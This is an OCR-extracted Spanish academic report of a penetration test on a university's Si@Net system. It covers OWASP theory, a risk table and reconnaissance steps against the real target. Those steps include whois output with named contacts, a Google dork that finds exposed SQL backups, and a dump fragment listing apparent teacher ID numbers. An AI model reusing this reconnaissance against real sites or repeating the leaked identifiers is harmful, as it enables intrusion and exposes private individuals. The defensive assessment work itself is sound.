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RESUMEN

El propdsito de este proyecto es identificar las vulnerabilidades de seguridad en el
Sistema Académico Integrado en Red (Si@Net) de la Universidad Estatal de

Bolivar.

La prueba de seguridad se realizé aplicando la metodologia OWASP y herramientas
libres preinstaladas en el sistema operativo Kali Linux, evaluacion que fue
distribuida en cinco fases: recopilacion de informacion, escaneo y enumeracion,
analisis de vulnerabilidades, explotacion y post-explotacion, cuyo enfoque incluyo
realizar pruebas manuales y automatizadas que dieron lugar al descubrimiento de
una serie de debilidades de distinto nivel de riesgo, todos los hallazgos descubiertos

fueron debidamente documentados con las soluciones para su mitigacion.

Con las recomendaciones establecidas permitira corregir los fallos de seguridad mas

criticos en el Sistema Académico Integrado en Red Si@Net.
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ABSTRACT

The purpose of this project is to identify security vulnerabilities in the Integrated

Networked Academic System (Si@Net) of the State University of Bolivar.

The security test was performed applying the OWASP methodology and pre-
installed free tools in the Kali Linux operating system, which was distributed in five
phases: information gathering, scanning and enumeration, vulnerability analysis,
exploitation and post-exploitation, whose approach included performing manual
and automated tests that led to the discovery of a series of weaknesses of different
risk levels, all findings discovered were duly documented with solutions for

mitigation.

With the established solutions, it will be possible to correct the most critical security

failures in the Si@Net Integrated Network Academic System.
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INTRODUCCION

Al igual que con cualquier nueva clase de tecnologia, las aplicaciones web han
traido consigo una gama de vulnerabilidades de seguridad, los ataques mas graves
contra las aplicaciones web son aquellos que exponen datos confidenciales u
obtienen acceso sin restricciones a los sistemas de Back-End en los que se ejecuta
la aplicacion. Este tipo de compromisos de alto perfil contintian ocurriendo con
frecuencia. Sin embargo, para muchas organizaciones, cualquier ataque que cause

un tiempo de inactividad del sistema es un evento critico. (Stuttard y Pinto, 2018)

La empresa de seguridad Veracode afirma que, de las pruebas realizadas, el 77% de
aplicaciones tienen al menos una vulnerabilidad y el 23% restante tienen un fallo de
seguridad alto. En concreto, el fabricante afirma que en 2017 un 27,6% de las
aplicaciones analizadas son facilmente vulnerables a inyecciones SQL, tomando en
cuenta que las vulnerabilidades de seguridad en aplicaciones cambian
constantemente, principalmente debido a la aparicion de nuevas tecnologias

llevando al descubrimiento de nuevas técnicas de explotacion. (Pelaez, 2017)

La presente investigacion fue realizada con el objetivo de identificar
vulnerabilidades existentes en el Sistema Académico Integrado en Red Si@Net de
la Universidad Estatal de Bolivar, en los mddulos: Sistema de Matriculacion
Estudiantil (SME), Practicas Pre-Profesionales (PPP), Sistema de Distributivo
Académico (SDA), Control de Asistencia Estudiantil y Docente (CAED) y Sistema
de Portafolio Docente (SPD), mediante el uso de herramientas libres y tomando
como guia la metodologia OWASP fue posible detectar un nimero significativo de
vulnerabilidades, las que fueron verificadas manualmente para corroborar su
existencia y descartar falsos positivos, hallazgos que fueron debidamente

documentados estableciendo medidas de seguridad apropiadas para su mitigacion.



REVISION DE LA LITERATURA

Segun los estudios realizados, los conceptos mas apropiados para el desarrollo de
la evaluacion de seguridad fueron:

1.1. Decreto 1014 Software Libre en Ecuador
El 10 de abril del 2008 se emiti6 el decreto 1014 por parte de la presidencia de
Rafael Correa Delgado, que promueve el uso de software libre en las instituciones
publicas del Ecuador.
“Art. 1. Establecer como politica para las entidades de administraciéon publica
central la utilizacién del Software Libre en sus sistemas y equipamientos
informaticos” (Decreto 1014 software libre Ecuador, 2008).
“Art. 2. Se entiende por software libre, a los programas de computaciéon que se
pueden utilizar y distribuir sin restriccion alguna, que permitan el acceso al codigo
fuente y que sus aplicaciones puedan ser mejoradas” (Decreto 1014 software libre
Ecuador, 2008).
Estos programas de computacion tienen las siguientes libertades:

v" Utilizacion de programa con cualquier propdsito de uso comun.

v" Distribucion de copias sin restriccion alguna.

v" Estudio y modificacion del programa.

v" Publicacion del programa mejorado.
“Art. 3. Las entidades de la administracion publica central previa a la instalacion
del software libre en sus equipos deberan verificar la existencia de capacidad técnica
que brinde el soporte necesario para este tipo de software” (Decreto 1014 software
libre Ecuador, 2008)
Art. 4. Se faculta la utilizacién de software propietario (no libre) unicamente
cuando no exista una solucion de software libre que supla las necesidades
requeridas, o cuando esté en riesgo de seguridad nacional, o cuando el proyecto
informatico se encuentre en un punto de no retorno. (Decreto 1014 software libre

Ecuador, 2008)

1.2. Qué es una aplicacion web
“Es un programa de software que se ejecuta en un servidor web que almacena
informacion en una base de datos. Las aplicaciones web suelen ser accedidas a

través de un navegador web” (Hueso, 2018).



1.3. Sistema operativo de servidores
Se ejecutan en servidores, que son computadoras personales muy grandes,
estaciones de trabajo o incluso mainframes. Dan servicio a varios usuarios a la vez
a través de una red y les permiten compartir los recursos de hardware y de software,
estos servidores pueden proporcionar servicio de impresion, de archivos o Web.

(Tanenbaum, 2008)

1.4. Qué es una base de datos
“Una base de datos es un conjunto de datos que se encuentran almacenados entre
los que existen relaciones logicas y ha sido disefiada para satisfacer los
requerimientos de informacion de una organizacion o empresa” (Hueso, 2018, pg.

22).

1.5. Firewalls

El firewall actia como un filtro de paquetes, inspecciona cada paquete entrante y
saliente. Los paquetes que cumplen algln criterio descrito en las reglas formuladas
por el administrador de la red se reenvian normalmente. Aquellos que fallan en la
prueba son descartados. El criterio de filtrado se suele proporcionar como reglas o
tablas que enumeran las fuentes y los destinos que son aceptables, las fuentes y los
destinos que estan bloqueados, y las reglas predeterminadas sobre qué hacer con los
paquetes que vienen o van a otras maquinas. (Tanenbaum y Wetherall, 2016)

1.5.1. Firewall de red
Los firewalls de red de filtrado de paquetes proporcionan una proteccion de red
esencial al ayudar a evitar que el trafico no deseado ingrese a la red corporativa.
Funcionan aplicando un conjunto de reglas de seguridad para decidir si permiten o
rechazan el acceso a la red. Las reglas tipicas incluyen: denegar la entrada a todo el
trafico, excepto el trafico destinado a puertos especificos, correspondientes a la
aplicacion que se ejecuta dentro de la red corporativa. (Rubens, 2018)

1.5.2. Firewall de aplicaciones web
Un firewall de aplicacion web (abreviatura de WAF), controla, filtra y bloquea el
trafico malicioso antes de que llegue al servidor web real. El firewall de una
aplicacion web es diferente de un firewall tradicional, ya que hace mas que solo

bloquear direcciones IP o puertos especificos, analiza el trafico web en busca de



ataques comunes como Cross Site Scripting (XSS) y la inyeccion SQL. (Talalaev,
2018)
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Figura 1. Firewall protegiendo la red interna. (Tanenbaum, 2016)

1.6. Seguridad de la informacion

SGSI es la abreviatura utilizada para referirse a un Sistema de Gestion de la
Seguridad de la Informacion. En el contexto aqui tratado, se entiende por
informacion todo aquel conjunto de datos organizados en poder de una entidad que
posean valor para la misma, independientemente de la forma en que se guarde o
transmita (escrita, en imagenes, oral, impresa en papel, almacenada
electrénicamente, proyectada, enviada por correo, transmitida en conversaciones,
etc.), de su origen (de la propia organizacion o de fuentes externas) o de la fecha de
elaboracion. La seguridad de la informacion, segin ISO 27001, consiste en la
preservacion de su confidencialidad, integridad y disponibilidad, asi como de los
sistemas implicados en su tratamiento, dentro de una organizacion. (EL portal de
ISO 27001 en Espaiiol, 2016)

Para garantizar que la seguridad de la informacion es gestionada correctamente se

debe identificar inicialmente los aspectos relevantes adoptados para garantizar su:

Confidencialidad

“Se conoce como la cualidad de la informacion que solo es accesible a individuos,
entidades o sistemas autorizados” (EL portal de ISO 27001 en Espatol, 2016).
Integridad

“Es la forma en que la informacion se mantiene intacta libre de modificaciones, la

integridad se pierde cuando dichos datos han sido manipulados por terceras



personas” (EL portal de ISO 27001 en Espafiol, 2016).
Disponibilidad
“Hace referencia al acceso y utilizacion de la informacién cuando los individuos,

entidades o procesos autorizados lo requieran” (EL portal de ISO 27001 en Espafiol,

2016).

1.7. ;Qué es el OWASP?
Es una comunidad libre y gratuita sin animo de lucro, que impulsa a las
organizaciones al desarrollo y mantenimiento de aplicaciones web seguras. Las
herramientas, foros y documentos de OWASP son gratuitos y estan disponibles a

cualquier persona interesada en mejorar el desarrollo de software. (OWASP, 2017)

1.8. Owasp Top 10
Este es un documento en el que detalla los diez riesgos de seguridad mas
importantes, segiin informacion obtenida de una gran cantidad de organizaciones
alrededor del mundo, las principales categorias fueron seleccionadas y priorizadas
tomando en cuenta el nivel de explotabilidad, detectabilidad e impacto, en el 2017
se actualizo la lista con los siguientes riesgos de seguridad. (OWASP, 2017)
Al: 2017-Inyeccion
Las fallas de inyeccion, tales como: SQL, NoSQL, ocurren cuando los datos que no
son de confianza se envian a un intérprete como parte de un comando o consulta.
Los datos del atacante pueden engafiar al intérprete para que ejecute comandos no
deseados o acceda a los datos sin la debida autorizacion. (OWASP, 2017)
A2:2017- Autenticacion rota
Las funciones de aplicacion relacionadas con la autenticacion y la administracion
de sesiones a menudo se implementan incorrectamente, permitiendo a los atacantes
comprometer contrasefias, tokens de sesion, o explotar otros defectos de
implementacion para asumir las identidades de otros usuarios temporal o
permanentemente. (OWASP, 2017)
A3: 2017 - Exposicion de datos sensibles
La gran variedad de aplicaciones no protege los datos confidenciales, como
financieros, de atenciéon médica. Los atacantes pueden robar o modificar dichos

datos protegidos débilmente para realizar fraude con tarjetas de crédito, robo de



identidad u otros delitos. La informacién puede verse comprometida sin la
proteccion adecuada, como el cifrado en reposo o en transito y requieren
precauciones especiales cuando se intercambian con el navegador. (OWASP, 2017)
A4: 2017- XML Entidades Externas (XXE)

Muchos procesadores XML més antiguos o mal configurados evaluan referencias
de entidades externas dentro de documentos XML. Las mismas que se pueden
utilizar para divulgar archivos internos utilizando el manejador URL de archivos,
recursos compartidos de archivos internos, escaneo de puertos internos, ejecucion
remota de codigo y ataques de denegacion de servicio. (OWASP, 2017)

AS5: 2017 - Control de acceso roto

Las restricciones sobre lo que los usuarios autenticados pueden hacer a menudo no
se aplican correctamente. Los atacantes pueden explotar estos defectos para acceder
a funcionalidades o a datos no autorizados, ver archivos confidenciales, cambiar
derechos de acceso, etc. (OWASP, 2017)

A6: 2017 - Configuracion incorrecta de seguridad

La mala configuracion de seguridad es el problema mds comun. Esto es
comunmente el resultado de configuraciones predeterminadas e incompletas,
encabezados HTTP sin ofuscar y mensajes de error detallados que contienen
informacion confidencial. No solo se deben configurar de forma segura todos los
sistemas operativos y aplicaciones, sino que se deben parchear y actualizar de
manera oportuna. (OWASP, 2017)

A7:2017- Cross Site Scripting (XSS)

Las fallas XSS ocurren cuando una aplicacion no valida o escapa adecuadamente
los datos ingresados por los usuarios, permitiendo a los atacantes ejecutar codigo
JavaScript en el navegador de la victima, que pueden secuestrar sesiones de usuario,
modificar sitios web o redirigir al usuario a sitios maliciosos. (OWASP, 2017)

A8: 2017 - Deserializacion insegura

La deserializacion insegura a menudo conduce a la ejecucion remota de codigo,
incluso si los defectos no resultan en la ejecucion remota de cddigo, se pueden usar
para realizar ataques de inyeccién y ataques de escalamiento de privilegios.

(OWASP, 2017)



A9: 2017 - Uso de componentes con vulnerabilidades conocidas

Los componentes, como bibliotecas y otros modulos de software se ejecutan con
los mismos privilegios que la aplicacion. Si se explota un componente vulnerable,
dicho ataque puede facilitar la pérdida grave de datos o la toma del servidor. Las
aplicaciones que usan modulos con vulnerabilidades conocidas pueden debilitar las
defensas de las aplicaciones y permitir varios ataques. (OWASP, 2017)

A10: 2017 - Insuficiente registro y monitoreo

El monitoreo insuficiente, junto con la integracion faltante o ineficaz con la
respuesta al incidente, permite a los intrusos atacar mas los sistemas, mantener la
persistencia, pivotar hacia mas sistemas y alterar, extraer o destruir los datos. La
mayoria de los estudios muestran que el tiempo de deteccion de una brecha de
seguridad es de més de 200 dias, tipicamente detectado por terceros en lugar de

procesos internos. (OWASP, 2017)

1.9. ;{Qué es una prueba de penetracion?
Una prueba de penetracion es una subclase de hacking ético, comprende un conjunto
de métodos y procedimientos que tienen como objetivo probar o proteger la
seguridad de una organizacién. Las pruebas de penetracion resultan utiles para
encontrar vulnerabilidades y verificar si un atacante podra explotarlas para obtener

acceso a un sistema. (Baloch, 2017)

1.10. Metodologias de Pruebas de Penetracion
1.10.1. OSSTMM
La metodologia de pruebas de seguridad de codigo abierto OSSTMM, béasicamente
incluye casi todos los pasos involucrados en una prueba de penetracion. Estas
pruebas, a pesar de ser tediosas, exigen una gran cantidad de dinero de los
presupuestos de la empresa para su finalizacion, que a menudo no son satisfechas

por un gran nimero de organizaciones. (Baloch, 2017)
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Figura 2. Estructura de la metodologia OSSTMM. (Baloch, 2017)

1.10.2.NIST
NIST, por otro lado, es mas completo que OSSTMM, y es algo que podria aplicar
diariamente y en compromisos cortos. La captura de pantalla indica los cuatro pasos
de la metodologia que son: planificacion, descubrimiento, ataque e informe. Las
pruebas comienzan con la fase de planificacion, donde se decide como se realizara
el compromiso. A esto le sigue la fase de descubrimiento, que se divide en dos
partes: la primera parte incluye la recopilacion de informacion, el escaneo de la red,
la identificacion del servicio y la deteccion del sistema operativo, y la segunda parte
implica la evaluacion de la vulnerabilidad. Después de la fase de descubrimiento,
viene la fase de ataque, que es el corazon de cada prueba de penetracion. Si puede
comprometer un objetivo y se descubre un nuevo host, en caso de que el sistema
tenga doble conexion o esté conectado con multiples interfaces, volvera al paso dos,

es decir, descubrimiento, y lo repetird hasta que no haya objetivos. (Baloch, 2017)
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Figura 3. Estructura de la metodologia NIST. (Baloch, 2017)

1.10.3. OWASP
Las metodologias anteriores se enfocan mas en realizar una prueba de penetracion
de red en lugar de algo especificamente disefiado para probar aplicaciones web. La
metodologia de prueba de OWASP es la que se utiliza para todas las pruebas de
penetracion de aplicaciones. La guia de prueba de OWASP basicamente contiene
casi todo lo que se probaria en una aplicacion web. La metodologia es completa y
estd disefiada por algunos de los mejores investigadores de seguridad de

aplicaciones web. (Baloch, 2017)

1.11. Categorias de prueba de penetracion
Cuando se define el alcance de la prueba de penetracion, también se define la
categoria o tipo del compromiso de la prueba de intrusion. La prueba puede ser
Black Box, White Box o Gray Box, dependiendo de lo que la organizacioén quiera
probar y de como quiera que se pruebe el paradigma de seguridad. (Baloch, 2017)
Caja negra
Una prueba de penetracion de caja negra es donde se proporciona poca o ninguna
informacion sobre el objetivo especificado. En el caso de una prueba de penetracion
de red, esto significa que no se proporcionara el sistema operativo de destino, la
version del servidor, etc. Lo Gnico que se proporcionara son los rangos de IP que
probaria. En el caso de una prueba de penetraciéon de aplicacion web, no se
proporcionara el codigo fuente de la aplicacion. Este es un escenario muy comun
que encontrara al realizar una prueba de penetracion externa. (Baloch, 2017)
Caja blanca
Una prueba de penetracion de caja blanca es donde se proporciona casi toda la
informacion sobre el objetivo. En el caso de una prueba de penetracion de red, se
proporciona informacion sobre la aplicacion en ejecucion, las versiones

correspondientes, el sistema operativo, etc. En el caso de una prueba de penetracion



de la aplicacion web, se proporciona el coédigo fuente de la aplicacion, lo que nos
permite realizar el “andlisis del codigo fuente”. Este escenario es muy comun en las
pruebas de intrusion internas, ya que las organizaciones estan preocupadas por la
filtracion de informacion. (Baloch, 2017)

Caja gris

En una prueba de caja gris, se proporciona cierta informacion y otra oculta. En el
caso de una prueba de penetracion de red, la organizacion proporciona los nombres
de la aplicacidon que se ejecuta detras de una IP, sin embargo, no revela la version
exacta de los servicios que se ejecutan. En el caso de una prueba de penetracion de
la aplicaciébn web, se proporciona informacion adicional, como las cuentas de

prueba, el servidor de servicios de fondo y las bases de datos. (Baloch, 2017)

1.12. Tipos de pruebas de penetracion

Hay varios tipos de pruebas de penetracion, sin embargo, las siguientes son las mas
comunmente realizadas:

1.12.1. Prueba de penetracion de red
Una prueba de penetracion de red se divide en dos categorias: pruebas de intrusion
externa e interna.
Una prueba de penetracion externa implicaria probar las direcciones IP publicas,
mientras que, en una prueba interna, se realizarian pruebas dentro de la red interna.
Se le puede proporcionar al evaluador acceso a la red o tendria que ir fisicamente al
entorno de trabajo para realizar la prueba, segun las reglas de contratacion que se
definieron antes de realizar la evaluacion. (Baloch, 2017)

1.12.2. Prueba de penetracion de aplicaciones web
La prueba de penetracion de aplicaciones web es muy comun en la actualidad, ya
que estas pueden alojar datos criticos como numeros de tarjetas de crédito, nombres
de usuario y contrasefias, por lo tanto, este tipo de prueba se ha vuelto mas comin
que la prueba de penetracion de red. (Baloch, 2017)

1.12.3. Prueba de penetracion de aplicaciones méviles
La prueba de penetracion de aplicaciones moviles es el tipo de evaluacion mas
reciente, se ha vuelto comin ya que casi todas las organizaciones utilizan
aplicaciones moviles basadas en Android e iOS para proporcionar servicios a sus

clientes, por lo tanto, las organizaciones quieren asegurarse de que sus aplicaciones
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moviles son lo suficientemente seguras, para que los usuarios confien cuando
brindan informacion personal. (Baloch, 2017)

1.12.4. Prueba de penetracion de ingenieria social
En esta clase de prueba, la organizacion puede pedirle que evaltie a sus usuarios.
Aqui es donde se utilizan los ataques de phishing y las vulnerabilidades del
navegador para engafar a un usuario para que haga las cosas que no pretendia hacer.

(Baloch, 2017)

1.13. Fases de una prueba de penetracion

1.13.1. Fase de Planificacion
En la fase de planificacion, se identifican las reglas, se finaliza la aprobacion de la
administracion y se establecen los objetivos de la prueba, esta etapa forma las bases
para una prueba de penetracion exitosa.

1.13.2. Fase de Descubrimiento
En esta fase se cubren dos partes:
Recopilacion de informacion. Esta es la primera fase donde el evaluador realiza
varias pruebas con el propésito de recopilar la mayor cantidad de informacion
posible, directa e indirectamente del objetivo, como identificacion de puertos y
servicios de red, informacion publica contenida en redes sociales ademas de utilizar
otras técnicas. (Scarfone, Souppaya, Cody y Orebaugh, 2018)
Anadlisis de vulnerabilidades. “Una vez que se haya recopilado toda la
informacion disponible, a partir de este momento se puede definir el descubrimiento
de agujeros de seguridad y desde este punto planificar los posibles vectores de
ataque” (Scarfone et al., 2018).

1.13.3. Fase de Ejecucion
En este paso se explota las vulnerabilidades encontradas para verificar si las
debilidades son reales y la posibilidad de obtener acceso, entre las actividades que
se llevan a cabo son las siguientes:
Ganando acceso. “Si se ha enumerado suficiente informacion en la fase de
descubrimiento sera posible el acceso al sistema objetivo” (Scarfone et al., 2018).
Escalada de privilegios. “En muchos casos, explotar un sistema vulnerable solo
puede dar acceso limitado a los datos y recursos del sistema, por lo que el evaluador

tratard por diferentes medios tratar de alcanzar permisos administrativos” (Scarfone
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et al., 2018).
Navegando dentro del sistema. “El proceso de recopilacion de informacion
comienza nuevamente para identificar mecanismos para obtener acceso a sistemas
adicionales” (Scarfone et al., 2018).

1.13.4. Fase de Documentacion y Reporte
“Esta es la fase mas importante porque es donde se informa al cliente cada una de

las pruebas que se han efectuado y los resultados que se han obtenido de cada uno

de ellos” (Scarfone et al., 2018).

1.14. Tipos de ataques mas comunes

1.14.1. Phishing
En un ataque de phishing, un atacante puede enviarle un correo electronico que
parece ser de alguien de confianza, como su jefe o una empresa con la que hace
negocios. El correo electronico parecerd legitimo y habra un archivo adjunto para
abrir o un enlace para hacer clic. Al abrir el archivo adjunto malicioso, instalara
malware en su computadora. Si hace clic en el enlace, puede enviarlo a un sitio web
de apariencia legitima que le solicita que inicie sesion para acceder a un archivo
importante, excepto que el sitio web es en realidad una trampa que se utiliza para
capturar sus credenciales cuando intenta iniciar sesion. ("Common Types of
Cybersecurity Attacks and Hacking Techniques | Rapid7", 2018)

1.14.2. Ataque de inyeccion SQL
Un ataque de inyeccion SQL permite que el servidor ejecute las instrucciones
emitidas por el atacante. Por ejemplo, si un servidor de base de datos es vulnerable
a un ataque de inyeccion, es posible que un atacante escriba una instruccion que
obligue al servidor del sitio a volcar todos sus nombres de usuario y contraseias
almacenados. ("Common Types of Cybersecurity Attacks and Hacking Techniques
| Rapid7", 2018)

1.14.3. Cross Site Scripting (XSS)
Este tipo de ataques pueden dafiar significativamente la reputacion de un sitio web
al poner en riesgo la informacion de los usuarios sin ninguna indicacion de que haya
ocurrido algo malicioso. Cualquier informacion confidencial que un usuario envie
al sitio, como sus credenciales, nimeros de tarjeta de crédito u otra informacion

privada, puede ser secuestrada a través de esta vulnerabilidad sin que los
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propietarios del sitio se den cuenta de que hubo un problema. ("Common Types of
Cybersecurity Attacks and Hacking Techniques | Rapid7", 2018)

1.14.4. Denegacion de servicio (DoS)
Los ataques de denegacion de servicio inundan un sitio web con mas trafico del que
fue creado para manejar, sobrecargara el servidor del sitio web y sera casi imposible
que el sitio web ofrezca su contenido a los visitantes que intentan acceder a €1, en
algunos casos, los ataques de DoS se realizan en muchas computadoras al mismo
tiempo. Este escenario de ataque se conoce como un ataque de denegacion de
servicio distribuido (DDoS). Este tipo de ataque puede ser ain mas dificil de superar
debido a que el atacante aparece desde muchas direcciones IP diferentes en todo el
mundo simultdneamente, lo que hace que la determinacion del origen del ataque sea
atn mas dificil para los administradores de red. ("Common Types of Cybersecurity
Attacks and Hacking Techniques | Rapid7", 2018)

1.14.5. Secuestro de sesion y ataques de hombre en el medio
La sesion entre su computadora y el servidor web remoto recibe un ID de sesion
unico, que debe permanecer privado entre las dos partes, sin embargo, un atacante
puede secuestrar la sesion capturando el ID de sesion y haciéndose pasar por la
computadora que realiza una solicitud, lo que le permite autenticarse como un
usuario legitimo y obtener acceso a informacion no autorizada en el servidor web.
("Common Types of Cybersecurity Attacks and Hacking Techniques | Rapid7",
2018)

1.14.6. Reutilizaciéon de credenciales
Los usuarios de hoy tienen tantos inicios de sesion y contrasefias para recordar que
es tentador reutilizar las credenciales para hacer la vida un poco mas fécil. A pesar
de que las mejores practicas de seguridad recomiendan universalmente que tenga
contrasefias unicas para todas sus aplicaciones y sitios web, lamentablemente
muchas personas todavia reutilizan sus contrasefias en varias de sus cuentas.
("Common Types of Cybersecurity Attacks and Hacking Techniques | Rapid7",
2018)
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METODO

Para este proyecto se utilizé la investigacion bibliografica, debido a que se tomaron
referencias de libros, paginas web y blogs para el desarrollo de la evaluacion de
vulnerabilidades y emitir las soluciones pertinentes.

También formoé parte la investigacion experimental, ya que se hicieron diferentes
pruebas manuales y automatizadas con herramientas libres, para descubrir
vulnerabilidades en la aplicacion web.

La investigacion realizada se fundamenta en los siguientes métodos:

Método Cualitativo

Este método se aplico para evaluar el nivel de riesgo de acuerdo con la apreciacion
estimada por el evaluador, tomando en cuenta los parametros de probabilidad e
impacto, establecidos en la metodologia de evaluacion de riesgo OWASP.

Método Cuantitativo

Este método se empled para determinar la valoracion del nivel de riesgo segun lo

estimacion realizada en la explotabilidad, detectabilidad e impacto técnico.
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RESULTADOS

Ante los resultados obtenidos se procede a contestar las siguientes interrogantes.
.Cual es la causa principal de la existencia de vulnerabilidades en el Sistema
Académico Integrado en Red (Si@Net)?

Requerimientos funcionales que no establecen normas y politicas que sustenten los
controles de seguridad, errores en la codificacion y configuraciones inseguras.
.Cuales serian las potenciales amenazas que ponen en riesgo la integridad de
los datos del Sistema Académico Integrado en Red (Si@Net)?

Los usuarios que estan relacionados con la institucion o atacantes externos que son
contratados para realizar acciones indebidas.

.Quiénes seran los principales actores afectados al infringir la seguridad del
Sistema Académico Integrado en Red (Si@Net)?

Comprometida la seguridad del sistema no solo puede verse afectada la informacion
de estudiantes y los usuarios con altos privilegios, en el peor de los casos el atacante
puede elevar el nivel de acceso y comprometer otros equipos de la red.

JPor qué es importante establecer politicas de seguridad e instruir al personal
que interactua con el Sistema Académico Integrado en Red (Si@Net)?

Es esencial implementar politicas de seguridad, para hacer cumplir las pautas
establecidas acorde a los requerimientos de la institucion, el instruir a los usuarios
es fundamental para evitar que intrusos logren quebrantar la seguridad mediante

ataques de ingenieria social.

Modelo de calculo de riesgo

Para determinar el nivel de riesgo se tom6 como referencia el método de evaluacion
OWASP, el mismo que estipula los medios para calcular el riesgo para cada
vulnerabilidad.

Identificando el Riesgo

El primer paso es identificar el riesgo de seguridad que debe ser calificado. El
evaluador debe recopilar informacion sobre el ataque que se usard, la vulnerabilidad
involucrada y el impacto de una explotacion exitosa.

Factores para estimar la probabilidad

Una vez que el probador ha identificado un riesgo potencial y desea averiguar qué

tan grave es, el primer paso es estimar la probabilidad. En el nivel mas alto, esta es
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una medida aproximada de la probabilidad de que esta vulnerabilidad en particular
sea descubierta y explotada por un atacante. No es necesario ser demasiado precisos
en esta estimacion. En general, es suficiente identificar si la probabilidad es baja,
media o alta. ("OWASP Risk Rating Methodology - OWASP", 2015)

Factores para estimar el impacto

El impacto técnico se puede dividir en factores alineados con las areas de
preocupacion tradicionales de seguridad: confidencialidad, integridad, y
disponibilidad. El objetivo es estimar la magnitud del impacto en el sistema si se
explotara la vulnerabilidad ("OWASP Risk Rating Methodology - OWASP", 2017).
Definidos los dos factores de probabilidad para cada vulnerabilidad (posibilidad de
deteccion y facilidad de explotacion) y un factor de impacto técnico. La escala de
riesgos para cada factor utiliza el rango de 1 (bajo) a 3 (alto). Para calcular el riesgo
de cada vulnerabilidad, se obtiene el promedio de los dos factores de probabilidad
y se multiplica por el impacto técnico estimado.

Riesgo=R

Explotabilidad= E

Deteccion de vulnerabilidad= DV

Impacto Técnico=IT

Féormula
R=(E+DV) /2*IT
Agente de Explotabilidad Deteccién de Impacto Impacto
amenaza vulnerabilidad Técnico de negocio
de la .~ Promedio2 Promedio2  Moderado2  del
aplicacién Dificil 1 Dificil 1 Minimo 1 negocio

Figura 4. Modelo de célculo de riesgo. (OWASP, 2017)

Tabla 1.
Métricas para calificar el nivel de riesgo.

Probabilidad y nivel de impacto

0a<3 Bajo

(OWASP, 2017)



Tabla 2

Estimacion de riesgos de las vulnerabilidades detectadas en el Si@Net.

Vulnerabilidad Explotabilidad  Deteccion de vulnerabilidad  Impacto técnico ~ Puntuacion
Inyeccion SQL 3 3 3 9.0
Cross Site Scripting 2 3 2 5.0
Fuerza bruta en formularios HTML 3 3 2 6.0
Cross Site Request Forgery 2 2 2 4.0
Exploracion de directorios 1 3 1 2.0
Politica de contrasefias débiles 2 2 2 4.0
Cookie no HttpOnly Flag 2 2 1 2.0
Denegacioén de Servicio en Apache 2.4.6 1 2 1 1.5
Divulgacion de informacién 2 3 1 2.5
Solicitud de pégina directa 3 3 2 6.0
Fijacion se sesion 2 3 2 5.0
Referencias a objetos directos 3 3 2 6.0
Método Trace 1 3 1 2.0
Certificado SSL 1 3 2 4.0
Registro y monitoreo insuficientes 2 1 2 3.0

(Elaborado por el autor)
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Tabla 3
Resumen de la tabla de riesgos de las vulnerabilidades encontradas en el Si@Net.

Nivel de riesgo Numero de alerta

Bajo 5

(Elaborado por el autor)

NIVEL DE RIESGO

40%

= Alto = Medio Bajo

Figura 5. Porcentaje establecido de acuerdo con el nivel de riesgo. (Elaborado por el autor)

Descripcion:
De los resultados obtenidos, el 27% de las vulnerabilidades detectadas son de riesgo
alto que deben ser mitigadas lo mas pronto posible, el 40% son de riesgo medio y

el 33% restante son de nivel bajo.
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DISCUSION
Metodologia

Estas pruebas fueron realizadas meticulosamente para evitar dafios al sistema que
se estd probando. El enfoque incluyo, recopilacion de informacion, andlisis de
vulnerabilidades manuales y automatizadas y verificacion de hallazgos. Comprobar
de forma manual es importante porque permite descartar falsos positivos y
resultados erroneos.

2.1. Recopilaciéon de informacion
En esta etapa se intenta recopilar la mayor cantidad de informacion posible ya sea
directa e indirectamente del objetivo.
El proceso de recopilacion de informacion se realizo desde el 19 al 23 de noviembre
del 2018.

2.1.1. Protocolo Whois

Whois es un nombre para un servicio TCP, una herramienta y un tipo de base de
datos. Las bases de datos de whois contienen un servidor de nombres, un registrador
e informacién de contacto sobre un dominio en particular.
A continuacién, se proporciona la direccion IP correspondiente al sianet para
obtener informacion publica del registro.

whois 190.15.128.203
# whois 190.15.

Joint Whois whois.lacnic.net
This server accepts single ASN, IPv4 or IPv6 queries

LACNIC resource: whois. lacnic.net

% Copyright LACNIC lacnic.net
The data below is provided for information purposes
and to assist persons in obtaining information about or
related to AS and IP numbers registrations
By submitting a whois query, you agree to use this data
only for lawful purposes.
2018-12-11 18:53:56 (-02 02:00)

inetnum: 190.15.128.192/26
status: reallocated
owner: Universidad Estatal de Bolivar
ownerid: EC-UEBO3-LACNIC
responsible: Rodrigo del Pozo
Av. Che Guevara, s/n, Gabriel Secaira
Guaranda
country: EC
phone: +593 03 2206059 []
owner-c: ROPG69
tech-c: SCN3
abuse-c: SCN3
created: 20130805
changed: 20130805
inetnum-up: 190.15.128/20

Figura 6. Resultados obtenidos del registro whois. (Elaborado por el autor)
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nic-hdl: ROPG69
Rodrigo del Pozo
cediz: eb@CEDIA.ORG. EC
Bolivar,
Bolivar

phone: 593 2206059 [1]
created: 201311065
changed: 201311065

SCN3
Security CEDIA NREN
security@CEDIA.ORG.EC
Av. 12 de Abril Universidad Cuenca - E . Tecnologico
s/n, AgustinCueva
address: ECO10112 - Cuenca - AZ
country: EC
phone: +593 07 4051000 [4220]
created: 201205249
changed: 2012605249

Figura 7. Resultados obtenidos del registro whois. (Elaborado por el autor)

A partir de los resultados de whois se observa el nombre del encargado del registro,

direccion de la universidad, correo electronico y nimeros telefonicos.

2.1.2. Busqueda con Google
Mediante el uso de busquedas avanzadas Google puede proporcionar gran cantidad
de informacion concerniente al objetivo.
Las siguientes capturas detallan la informacion obtenida del dominio principal,
donde se ha encontrado una copia de seguridad indexada en un directorio web con
cuentas de inicio de sesion de docentes de la institucion.

site:ueb.edu.ec filetype:sql

GO g Ie site:ueb.edu.ec filetype:sql Q

Todo

evaluacionueb_2016.sql - Facultad de Ciencias de la Educacion
www.fce-vir.ueb.edu.ec/autoevaluacion/bases%20de%20datos/evaluacionueb_2016.sql

evaluacionueb16_17.sql
www.fce-vir.ueb.edu.ec/autoevaluacion/.../evaluacionueb16_17.sql v

Figura 8. Resultados de la bisqueda con Google. (Elaborado por el autor)

Not Found

The requested URL /autoevaluacion/bases de datos/evaluacionueb16 17.sql was not found on this server.

Apache/2.2.3 (Cent0S) Server at www.fce-vir.ueb.edu.ec Port 80

Figura 9. Informacion no disponible en el directorio web. (Elaborado por el autor)
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El archivo al parecer ha sido eliminado, pero fue posible acceder a esta copia de

seguridad buscando en la caché de Google.

-~ Volcado de datos para la tabla "docentes’

INSERT INTO 'docentes’ ('id doc’, 'cedula’,
(1, "1384701939',
(2, '0662724649°,
(3, 0201104296’ ,
